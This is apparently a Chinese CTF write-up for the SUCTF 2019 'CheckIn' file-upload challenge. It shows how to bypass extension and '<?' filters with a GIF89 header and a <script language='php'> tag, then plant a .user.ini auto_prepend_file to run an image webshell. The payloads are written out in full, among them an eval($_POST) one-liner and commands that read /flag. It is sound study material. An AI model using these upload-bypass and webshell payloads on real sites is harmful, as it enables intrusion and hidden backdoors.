zoukankan      html  css  js  c++  java
  • [SUCTF 2019]CheckIn

    进入靶场只有一个文件上传界面,上传php一句话木马提示非法后缀。

    尝试利用php后缀的多样性绕过,发现都被过滤掉了,先把php改成.jpg的图片,提示说有问号在内容中。

    php后缀的多样性:php语言除了可以解析以php为后缀的文件,还可以解析php2,php3、php4、php5、php6、phtml、pht、pHp,Php,phP这些后缀的文件。(php1、php2上传失败php3、php4仍有可能上传成功,因为不同的服务器,可以上传的文件类型也不同,所以需要进行逐个排除)

    利用JavaScript语句来绕过对问号的检测,只需要把里面的代码改成

    <script language="php">(这里写上php代码即可)</script>

    eg: <script language="php">(eval (phpinfo();))</script>

    提示说这个不是个图片,猜测应该是要加一下GIF的头,所以把payload改成

    GIF89

    <script language="php">(eval (phpinfo();))</script>

    上传成功

    但是直接访问这个文件的话,服务器会把它当做jpg图片来处理,而不会当成php脚本来解析,所以直接访问失败。

    (*)利用.user.ini来将jpg图片解析成php文件

    什么是.user.ini?

    先从php.ini说起,php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。 在此可以查看官方文档:http://php.net/manual/zh/ini.list.php

    官方解释这几种模式的区别:

    模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,和.user.ini中设置。这里就提到了.user.ini,那么这是个什么配置文件?

    官方文档在https://www.php.net/manual/zh/configuration.file.per-user.php又解释了:

    除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

           所以可以理解为:.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。

    实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

    然后我们看到php.ini中的配置项,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。不过,我们仍然可以很容易地借助.user.ini文件来构造一个“后门”。

           php配置项中auto_prepend_file具体意思是:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而配置项中auto_append_file也类似,只是在文件后面包含。

    使用方法很简单,直接写在.user.ini中:

    auto_prepend_file=01.gif

    01.gif是要包含的文件。所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

    哪些情况下可以用到这个姿势?

    比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。

    所以先上传一个.user.ini的文件,内容为

    GIF89="aaa"
    auto_prepend_file=1.jpg

     之后再上传一个1.jpg,并且写入php代码

    GIF89="aaa"
    <script language="php">system("cat /flag");</script>

    再访问一下这个文件

    得到flag。

    上述方法直接读flag文件了,不确定文件名可以上传一个一句话木马

    <script language="php">eval($_POST['a']);</script>

    扫描根目录:a=var_dump(scandir("/"));,可以看见一个叫flag的文件

    打印:a=var_dump(file_get_contents("/flag"));

    参考:

    https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

    https://blog.csdn.net/weixin_44077544/article/details/102688564

    http://github.mrkaixin.computer/2019/06/05/BUUCTF%E5%81%9A%E9%A2%98%E7%AC%94%E8%AE%B0/#toc-heading-14

  • 相关阅读:
    leetcode 309. Best Time to Buy and Sell Stock with Cooldown
    leetcode 714. Best Time to Buy and Sell Stock with Transaction Fee
    leetcode 32. Longest Valid Parentheses
    leetcode 224. Basic Calculator
    leetcode 540. Single Element in a Sorted Array
    leetcode 109. Convert Sorted List to Binary Search Tree
    leetcode 3. Longest Substring Without Repeating Characters
    leetcode 84. Largest Rectangle in Histogram
    leetcode 338. Counting Bits
    git教程之回到过去,版本对比
  • 原文地址:https://www.cnblogs.com/wkzb/p/12286324.html
Copyright © 2011-2022 走看看